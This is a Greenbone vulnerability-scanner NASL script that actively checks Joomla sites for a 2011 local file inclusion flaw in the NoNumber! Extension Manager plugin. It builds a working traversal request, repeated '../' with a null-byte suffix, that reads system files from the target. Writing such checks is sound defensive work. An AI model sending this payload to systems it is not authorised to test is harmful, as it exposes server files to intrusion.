Joomla NoNumber! Extension Manager Plugin LFI and PHP Code Injection Vulnerabilities (Nov 2011) - Active Check

# SPDX-FileCopyrightText: 2011 Greenbone AG
# Some text descriptions might be excerpted from (a) referenced
# source(s), and are Copyright (C) by the respective right holder(s).
#
# SPDX-License-Identifier: GPL-2.0-only

CPE = "cpe:/a:joomla:joomla";

if (description)
{
  script_oid("1.3.6.1.4.1.25623.1.0.103308");
  script_version("2026-04-30T06:27:06+0000");
  script_tag(name:"last_modification", value:"2026-04-30 06:27:06 +0000 (Thu, 30 Apr 2026)");
  script_tag(name:"creation_date", value:"2011-10-20 15:15:44 +0200 (Thu, 20 Oct 2011)");
  script_tag(name:"cvss_base", value:"5.1");
  script_tag(name:"cvss_base_vector", value:"AV:N/AC:H/Au:N/C:P/I:P/A:P");

  script_tag(name:"solution_type", value:"VendorFix");

  script_name("Joomla NoNumber! Extension Manager Plugin LFI and PHP Code Injection Vulnerabilities (Nov 2011) - Active Check");

  script_xref(name:"URL", value:"http://www.securityfocus.com/bid/50191");
  script_xref(name:"URL", value:"http://www.nonumber.nl/extensions/nonumbermanager");

  script_tag(name:"qod_type", value:"remote_vul");
  script_category(ACT_ATTACK);
  script_family("Web application abuses");
  script_copyright("Copyright (C) 2011 Greenbone AG");
  script_dependencies("joomla_http_detect.nasl", "os_detection.nasl");
  script_require_ports("Services/www", 80);
  script_mandatory_keys("joomla/detected");

  script_tag(name:"solution", value:"Reports indicate vendor updates are available. Please contact
  the vendor for more information.");

  script_tag(name:"summary", value:"NoNumber! Extension Manager is prone to multiple input
  validation vulnerabilities because it fails to properly sanitize user-supplied input.

  An attacker can exploit these issues to inject arbitrary PHP code and include and execute
  arbitrary files from the vulnerable system in the context of the affected application. Other
  attacks are also possible.");

  exit(0);
}

include("traversal_func.inc");
include("http_func.inc");
include("host_details.inc");
include("os_func.inc");
include("http_keepalive.inc");

if (!port = get_app_port(cpe:CPE))
  exit(0);

if (!dir = get_app_location(cpe:CPE, port:port))
  exit(0);

if (dir == "/")
  dir = "";

files = traversal_files();

foreach file (keys(files)) {
  url = dir + "/index.php?nn_qp=1&file=" + crap(data:"../",length:3*9) + files[file] + "%00.inc.php";

  if (http_vuln_check(port:port, url:url,pattern:file)) {
    report = http_report_vuln_url(port: port, url: url);
    security_message(port: port, data: report);
    exit(0);
  }
}

exit(99);